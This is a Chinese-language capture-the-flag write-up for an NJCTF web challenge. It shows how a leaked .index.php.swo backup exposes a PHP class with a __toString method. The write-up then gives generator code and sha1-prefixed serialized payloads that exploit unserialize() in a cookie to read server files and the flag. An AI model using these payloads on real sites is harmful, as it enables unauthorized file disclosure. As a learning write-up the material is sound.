解题过程
观察
- 网页为一个留言墙,每一次提交都会在主页上生成
<h3>
标签数据在每次提交给index.php的cookie中如下
- url解码后如下
`Cookie:lists=cd7f3533ade31bec81b31cfb1899977a7d887fcca:2:{i:0;s:9:"hiehiehie";i:1;s:5:"nihao";}`
猜测为php反序列化漏洞
### 分析
- list参数结构:反序列化字符串的sha1值+反序列化字符串即`sha1($s).$s`
- 要利用php反序列化漏洞必须存在以下三点
- 可控的序列化字符串
- 程序中必然实现某个php魔术方法
- 当调用unserialize()时,必须声明攻击期间所使用的所有类,或者这些类支持对象自动加载
### 源码
由于要实现漏洞利用,则必然要知道魔术方法如何实现,则必定泄漏源码。这次备份文件为`.index.php.swo`
```php
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
........
?>
可知filelist这个类中实现了典型php反序列化漏洞利用的函数__toSting()
,分析可知如果用filelist这个类来代替lists数组时,被打印的字符串是类中的source成员所指向的文件名,__toSting()
将不被调用。当source成员所指向为一个filelist对象时,__toSting()
才将被正确调用,所以构造payload的filelist对象包含两层
Payload
查看index.php源码
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist();
$b = new filelist();
$b->source = "index.php";
$a ->source =$b;
$e = serialize($a);
echo sha1($e).$e;
?>
得到payload,url编码后提交
16d8c3c46653e89932859dd7a2eb12fa59df777aO:8:"filelist":1:{s:6:"source";O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}
可知flag位置
利用位置构造新的payload
687cded936919910f39d01409b58edc5590556fcO:8:”filelist”:1:{s:6:”source”;O:8:”filelist”:1:{s:6:”source”;s:46:”/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g”;}}
编码后提交得到flag
NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng} ```
知识小结
- 花式源码泄漏
.index.php.swo
- php反序列化成因以及利用